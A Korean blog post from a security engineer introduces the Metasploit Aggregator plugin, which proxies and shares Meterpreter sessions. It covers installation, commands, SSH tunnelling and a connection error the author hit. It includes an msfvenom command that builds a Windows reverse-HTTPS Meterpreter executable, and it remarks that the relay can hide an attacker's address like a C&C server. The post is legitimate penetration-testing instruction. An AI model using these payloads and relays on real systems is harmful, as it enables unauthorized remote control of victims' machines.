Metasploit과 Meterpreter는 굉장히 좋은 툴(외계인의 툴 중 하나..?)지만 간간히 불편한점도 존재합니다. 대표적으론 여러 사용자가 세션에 대해 공유할 수 없다는 점과 공격자의 Metasploit에 모든 세션을 담기에는 너무 많아지면 불편해지겠죠. 오늘은 이를 해결할 수 있는 Aggregator에 대한 이야기를 할까 합니다.
사실 이러한 문제를 해결하려고 찾았다기 보단.. 인지만 하고 있는 상태에서 Metasploit Plugin 디렉토리를 보다보니 Aggregator란 첨보는게 있어서 찾다가 이 포스팅이 시작되었네요. 그럼 시작해볼까요.
What is Aggregator?
Aggregator는 Meterpreter 세션에 대한 프록시 툴입니다. 찾다보니 알게되었는데, 올해 나온 기능이였네요.. 아무튼 이 plugin이 활동하는 위치를 보자면 Metasploit과 Meterpreter 사이에서 중계자 역할을 하게됩니다.그림으로 표현하면 아래와 같습니다.
그리기 넘 귀찮.. |
Aggregator는 Metasploit과 여러 Meterpreter shell 사이에서 중계 역할을 수행하며 각각 Meterpreter shell의 세션은 Aggregator로 연결됩니다. Aggregator는 세션을 관리하는 기능을 담고 있고 공격자는 Metasploit을 통해 Aggregator로 연결하여 이 세션들을 사용합니다. 직접 Metasploit으로 세션에 연결하는게 아니기 때문에 상황에 따라 공격자의 Metasploit의 주소를 숨기는데도 사용될 수 있겠네요.
사용하기 전에 몇가지 개념을 알아두면 좋습니다.
cable
metasploit의 Exploit handler와 유사한 기능입니다. Aggregator에서 Meterpreter에서 언제든지 접근할 수 있도록 Listen 상태로 Session의 연결을 기다립니다.
parked
cable과 달리 연결 상태는 아니고 aggregator와 meterpreter과 최소한의 통신만을 유지하여 살아있는지 확인만 진행합니다. heartbeet과 같죠.
여러 개념들이 있지만 두가지는 꼭 알아두는게 좋을 것 같습니다.
다른 개념들은 아래 사이트에 내 "Metasploit Aggregator introduces a few new concepts" 부분에 잘 정리되어있습니다. 참고해주세요
https://n0where.net/meterpreter-session-proxy-metasploit-aggregator/
Install Metasploit Aggregator
설치는 .. 매번 이야기하듯 아주 간단합니다. 심지어 gem으로 포팅되서 더더욱 편리하죠.#> gem install metasploit-aggregator
Successfully installed metasploit-aggregator-0.2.1
1 gem installed
또는 공식 github를 통해 다운로드 후 설치할 수 있습니다. 물론 어차피 gem이지만요..
#> git clone https://github.com/rapid7/metasploit-aggregator
Using Metasploit Aggregator
일단 gem으로 설치되어서 ruby 코드에서도 부를 수 있지만 command line 명령으로도 제공됩니다.#> metasploit-aggregator
WARN: Unresolved specs during Gem::Specification.reset:
grpc (>= 0)
rex-arch (>= 0)
WARN: Clearing out unresolved specs.
Please report a bug if this causes problems.
2017-08-17 21:38:34 +0900 Starting administration service on 127.0.0.1:2447
실행하면 해당 PC에서 기본적으로 2447 포트로 동작하게 됩니다. 이 과정에서 문제 발생하던게 있었느데, 여차저차하니 해결됬습니다. 라이브러리 의존성 문제! (심각한 문젠 아닌거 같아요 위에 WARN나는건)
HAHWUL > load aggregator
[*] Aggregator interaction has been enabled
[*] Successfully loaded plugin: aggregator
일단 실행에 앞서서 명령어 셋을 보면..
Aggregator Commands
===================
Command Description
------- -----------
aggregator_addresses List all remote ip addresses available for ingress
aggregator_cable_add Setup remote https listener for sessions
aggregator_cable_remove Stop remote listener for sessions
aggregator_cables List all remote listeners for sessions
aggregator_connect Connect to a running Aggregator instance ( host[:port] )
aggregator_default_forward forward a unlisted/unhandled sessions to a specified listener
aggregator_disconnect Disconnect from an active Aggregator instance
aggregator_save Save connection details to an Aggregator instance
aggregator_session_forward forward a session to a specified listener
aggregator_session_park Park an existing session on the Aggregator instance
aggregator_sessions List all remote sessions currently available from the
위에 개념들에 대해 이해되셨다면 한눈에 들어오겠네요.
aggregator 로 연결을 해보면..
HAHWUL > aggregator_connect 127.0.0.1:2447
[*] Connecting to Aggregator instance at 127.0.0.1:2447...
E0817 21:40:03.591233870 25993 uri_parser.c:60] bad uri.scheme: ''
E0817 21:40:03.591334832 25993 uri_parser.c:66] ^ here
E0817 21:40:03.591373079 25993 http_proxy.c:56] cannot parse value of 'http_proxy' env var
에러가 납니다. 환경 때문인건건지 잘 모르겠네요. github에 가이드 있는대로 ssh 터널링을 해봐도 동일합니다.
일단 rapid7쪽으로 문의는 넣어봤는데, 언제 답이올지 모르겠네요.
https://github.com/rapid7/metasploit-aggregator/issues/10
그럼.. 직접 진행은 어려우니 일단 git에 작성된 내용으로 살펴보겠습니다.
아 먼저 aggregator는 자체적으로 암호화되지 않으니 꼭 SSH 터널링을 사용해줍시다.
localhost : 공격자
192.168.56.101 : aggregator 중계 서버
ssh [로컬IP:로컬포트]:[접근할IP:접근할포트] ssh 접근정보
ssh 4427:192.168.56.101:2447 user@192.168.56.101
※ 로컬은 포트만 적어도 크게 상관이 없죠.
이렇게 세팅한 경우 localhost:4427로 연결해서 aggregator를 사용하시면 됩니다.
HAHWUL > aggregator_connect localhost:4427
다시 git쪽 내용으로 와서..
부럽네요. connect가 잘 되다니..
msf > load aggregator
[*] Aggregator interaction has been enabled
[*] Successfully loaded plugin: aggregator
msf > aggregator_connect 127.0.0.1:2447
[*] Connecting to Aggregator instance at 127.0.0.1:2447...
msf >
로드가 완료되면 aggregator 사용이 가능합니다. cable 추가로 8443 포트로 cable을 추가합니다.
※ cable: metasploit의 Exploit handler와 유사한 기능입니다. 위에 제대로 안읽으신건 아니겠지?!
※ default_forward는 포워딩 방식을 지정합니다.
msf > aggregator_cable_add 192.168.1.10:8443
msf > aggregator_default_forward
msf >
8443 포트로는 meterpreter session이 붙으면 aggregator에 의해 관리됩니다. git 내용에선 msfvenom으로 payload를 실행파일로 만들어서 테스트했네요.
#> msfvenom -p windows/meterpreter_reverse_https LHOST=192.168.1.10 LPORT=8443 -f exe -o launch-stageless.exe
launch-stageless.exe를 실행하면 192.168.1.10의 8443 포트로 meterpreter가 연결하려 할꺼고 연결된 순간 metasploit-aggregator에서 해당 세션을 관리하게 됩니다.
msf >
[*] Meterpreter session 1 opened (127.0.0.1:53414 -> 127.0.0.1:53519) at 2017-03-06 13:46:23 -0600
그래서 공격자 PC에서 aggregator_sessions로 보면..
msf > aggregator_sessions
[*] Sessions found:
[*] Remote ID: 1
[*] Type: meterpreter windows
[*] Info: DESKTOP-KAO0P3O\user @ DESKTOP-NAME
[*] Tunnel: 192.168.1.10:8443 -> 192.168.1.11:53528
[*] Via: exploit/multi/handler
[*] UUID: 8121940d2f5c4b1f/x86=1/windows=0/2016-12-15T22:03:16Z
[*] MachineID: 1e2b16f37eab2324b9089cd93f16533b
[*] CheckIn: 3s ago
[*] Registered: Not Yet Implemented
[*] Forward: 50ab485d-dbe3-4045-95c4-c9abd45c1683
[*] Session ID: 1
[*]
이렇게 포워딩된 세션을 볼 수 있죠. aggregator_session_forward 명령, 인자로 session 번호를 넘겨주면 해당 쉘을 가져올 수 있습니다. 가져오는 과정은 metasploit-aggregator 서버와 연결되며 공격자 pc에선 마치 meterpreter shell을 얻은 것 처럼 보이지만 실제론 중계 서버를 이용해서 포워딩 받는 상태가 됩니다.
msf > aggregator_session_forward 1
msf >
[*] Meterpreter session 2 opened (127.0.0.1:53414 -> 127.0.0.1:54066) at 2017-03-06 13:50:51 -0600
이런 과정들은 암호화되지 않기 때문에 rapid7측에선 ssh 터널링을 꼭 사용하라고 이야기하네요.
라이브러리 관련 정보는 ruby-doc쪽 보면 자세히 나와있으니 활용해서 개발해보시면 좋을 것 같네요 :)
Conclusion
aggregator는 여러명의 공격자(테스터)가 하나의 세션을 같이 사용하고, 중간에 관리해주는 서버(?)를 두기 위해 만든 기능이라고 봅니다. 다만 위에서 말씀드렸듯이 C&C 서버처럼 공격자 자신을 숨기고 Meterpreter와 통신하고 제어할 수 있기 때문에 좀 더 여러 형태의 공격이 가능할거라 생각합니다.Reference
https://n0where.net/meterpreter-session-proxy-metasploit-aggregator/http://www.rubydoc.info/gems/metasploit-aggregator/0.1.3
https://github.com/rapid7/metasploit-aggregator
HAHWULSecurity engineer, Gopher and H4cker! |
https://github.com/rapid7/metasploit-aggregator/issues/10
ReplyDelete에러 관련해서 참고해주세요.